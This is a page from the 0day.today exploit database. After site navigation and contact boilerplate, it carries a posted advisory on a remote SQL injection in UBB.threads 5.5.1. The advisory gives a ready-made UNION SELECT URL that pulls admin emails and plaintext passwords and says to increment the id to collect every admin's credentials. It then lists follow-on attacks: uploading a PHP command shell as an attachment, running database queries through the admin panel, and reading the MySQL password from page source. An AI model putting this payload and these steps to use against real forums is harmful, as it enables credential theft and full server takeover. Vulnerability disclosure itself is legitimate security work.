0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
UBB.threads 5.5.1 (message) Remote SQL Injection Vulnerability
[============================================================== UBB.threads 5.5.1 (message) Remote SQL Injection Vulnerability ============================================================== Background: ----------- SQL injection has previously been discovered (http://www.securityfocus.com/bid/14052/) New Details: ------------ UBBThreads is nice enough to encrypt/mask the regular users' passwords in the database, but stores the admin users' passwords plaintext! Vulnerable Versions: -------------------- Tested on version 5.5.1, others may be vulnerable Admin Login SQL Injection ------------------------- http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received ++ Email is in From: field of forum post ++ Password is text body of post ++ Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.) Admin login: ------------ http://www.website.com/Admin/login.php $query = "SELECT * FROM admin_users WHERE email = '$email' AND password = '$password'"; Other Avenues for Attack: ------------------------- ++ Turn on file attachments via /ubbthreads/admin/editconfig.php?Cat= and then upload a php command shell as an attachment to a post ;) ++ Query MySQL database via /ubbthreads/admin/dbcommand.php?Cat= ++ Get MySQL username/password (it is plaintext) - view HTML Source of /ubbthreads/admin/editconfig.php?Cat= # 0day.today [2024-11-16] #